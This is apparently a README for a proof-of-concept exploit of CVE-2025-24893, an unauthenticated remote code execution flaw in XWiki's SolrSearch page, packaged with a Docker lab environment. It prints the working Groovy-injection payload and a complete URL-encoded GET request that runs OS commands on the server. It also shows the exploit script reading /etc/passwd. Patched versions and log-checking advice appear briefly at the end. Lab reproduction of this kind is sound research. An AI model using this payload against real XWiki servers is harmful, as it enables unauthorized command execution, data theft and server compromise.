
Unauthenticated remote code execution exploit for XWiki SolrSearch (CVE-2025-24893) via Groovy injection in the text parameter, with Docker-based lab environment and PoC script.
Main.SolrSearch page is open to guests, yet it evaluates the user input text parameter as XWiki syntax without sufficient validation.{{groovy}} macro into text to execute arbitrary Groovy code on the server, and can even invoke operating system commands via "command".execute(). This vulnerability can be exploited with a single GET request without any additional login or token.This directory sets up the vulnerable environment using the official XWiki standalone distribution 15.10.1 and Java 17 runtime.
| Item | Content |
|---|---|
| CVE | CVE-2025-24893 |
| Product | XWiki Platform |
| Vulnerable Versions | >= 5.3-milestone-2, < 15.10.11 / >= 16.0.0-rc-1, < 16.4.1 |
| Patched Versions | 15.10.11, 16.4.1 |
| Vulnerability Type | Eval Injection -> Unauthenticated RCE |
| Authentication Required | Unnecessary |
| Impact | Server command execution possible |
Main.SolrSearch endpoint must be accessible to guests.text parameter as XWiki syntax.groovy macro must be executable.This environment uses XWiki 15.10.1, so it satisfies the above conditions.
docker compose up -d --build
During initial startup, automatic installation proceeds, which may take a few minutes (approximately 6–7 minutes).
docker compose ps
docker inspect -f '{{json .State.Health}}' xwiki-web
When the output of the above command shows "Status":"healthy", the environment setup is complete and ready for exploitation.
pip install requests
Install the dependency before running exploit.py.
The core payload is as follows.
}}}{{async async=false}}{{groovy}}println("id".execute().text){{/groovy}}{{/async}}
The above payload is inserted into the text parameter and evaluated on the Main.SolrSearch page. As a result, println("id".execute().text) is executed on the server, and the command execution output is reflected in the RSS response body.
Refer to exploit.py for the full execution script.
python3 exploit.py
Running the above Python script reproduces the PoC. The default command is id.
python3 exploit.py -c "cat /etc/passwd"
To execute a different command, pass arguments as shown above.
Alternatively, you can send a request via URL (payload that outputs id):
http://localhost:1337/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync+async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22id%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
Showing the response with id
Checking files in the current directory
15.10.11 or later, or 16.4.1 or later.SolrSearch access logs.